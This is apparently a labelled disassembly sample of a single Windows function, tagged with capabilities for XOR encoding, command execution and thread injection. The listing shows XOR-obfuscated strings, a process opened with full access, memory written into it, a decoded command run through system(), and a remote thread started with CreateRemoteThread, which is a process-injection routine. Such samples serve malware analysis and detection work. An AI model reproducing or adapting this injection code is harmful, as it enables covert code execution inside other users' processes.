Function at 0x140028bd0
Capabilities:
Create thread
Encode data using xor
Execute command
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xf0]
sub rsp, 0x1f0
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp + 0xe0], rax
xor r15d, r15d
mov dword [rsp + 0x40], 0xf42ef419
mov dword [rsp + 0x44], 0xf43cf42e
mov dword [rsp + 0x48], 0xf425f43a
mov dword [rsp + 0x4c], 0xf422f43e
mov dword [rsp + 0x50], 0xf460f429
mov dword [rsp + 0x54], 0xf431f438
mov dword [rsp + 0x58], 0xf427
mov byte [rsp + 0x5c], 1
mov ecx, r15d
mov edx, 0xbbb
nop dword [rax]
movzx eax, cx
sub ax, dx
xor word [rsp + rcx*2 + 0x40], ax
inc rcx
cmp rcx, 0xd
jb 0x140028c50
mov byte [rsp + 0x5c], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r15
lea rax, [rsp + 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r15w
jne 0x140028c90
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x58]
call fcn.14002e280
nop
mov rcx, qword [0x14003e778]
movabs rax, 0x7ffffffffffffffe
sub rax, rcx
mov rdx, qword [rbp - 0x48]
cmp rax, rdx
jb 0x1400290e4
lea r9, [0x14003e768]
cmp qword [0x14003e780], 7
cmova r9, qword [0x14003e768]
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rax, qword [rbp - 0x58]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x78]
call fcn.14002ef30
nop
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 7
cmova rdx, qword [rbp - 0x78]
mov rax, qword [rbp - 0x68]
lea r14, [rdx + rax*2]
lea rsi, [rbp - 0x78]
cmova rsi, qword [rbp - 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
cmp rsi, r14
jne 0x140028d50
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
lea rcx, [rsp + 0x68]
jmp 0x140028e65
mov rax, r14
sub rax, rsi
sar rax, 1
mov rdx, r15
mov qword [rsp + 0x78], rdx
mov ebx, 0xf
mov qword [rbp - 0x80], rbx
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x1400290d8
cmp rax, rbx
jbe 0x140028e10
mov rbx, rax
or rbx, 0xf
cmp rbx, rcx
jbe 0x140028dca
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14002fc5c
mov rcx, rax
test rax, rax
je 0x140028ff6
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x78]
jmp 0x140028e06
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140028df2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400290de
jmp 0x140028da3
test rcx, rcx
je 0x140028e03
call fcn.14002fc5c
mov rdx, qword [rsp + 0x78]
jmp 0x140028e06
mov rax, r15
mov qword [rsp + 0x68], rax
mov qword [rbp - 0x80], rbx
nop
lea rcx, [rsp + 0x68]
cmp rbx, 0xf
cmova rcx, qword [rsp + 0x68]
movzx eax, byte [rsi]
mov byte [rdx + rcx], al
mov rdx, qword [rsp + 0x78]
inc rdx
mov qword [rsp + 0x78], rdx
add rsi, 2
cmp rsi, r14
je 0x140028e41
mov rbx, qword [rbp - 0x80]
jmp 0x140028e10
lea rax, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rax, qword [rsp + 0x68]
mov byte [rax + rdx], 0
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
xor r9d, r9d
lea r8, [rbp - 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
movdqa xmm0, xmmword [0x140035ac0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x3d253f11
mov dword [rsp + 0x54], 0x18682e3a
mov dword [rsp + 0x58], 0x100677d
mov rcx, r15
lea eax, [rcx + 0x45]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x1a
jb 0x140028ea0
mov byte [rsp + 0x5b], 0
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rax, [rbp - 0x30]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140028ef0
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
lea rax, [rbp - 0x30]
nop dword [rax]
lea rdi, [rdi + 1]
cmp byte [rax + rdi], 0
jne 0x140028f20
lea r9, [rdi + 1]
mov qword [rsp + 0x20], r15
lea r8, [rbp - 0x30]
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movdqa xmm0, xmmword [0x140035a80]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x76616e2d
mov dword [rsp + 0x54], 0x35333b
mov byte [rsp + 0x58], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x45]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x17
jb 0x140028f70
mov byte [rsp + 0x58], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movsxd r9, eax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x14003e7c8], 2
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140029002
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028ffd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140028ffd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x140029057
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029052
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140029052
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
movdqa xmm0, xmmword [0x140035a70]
movdqu xmmword [rbp - 0x68], xmm0
mov word [rbp - 0x78], r15w
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x1400290ac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400290a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400290a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.14002fac0
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14001f080
nop
call fcn.14001efe0
nop
call fcn.14001f080
int3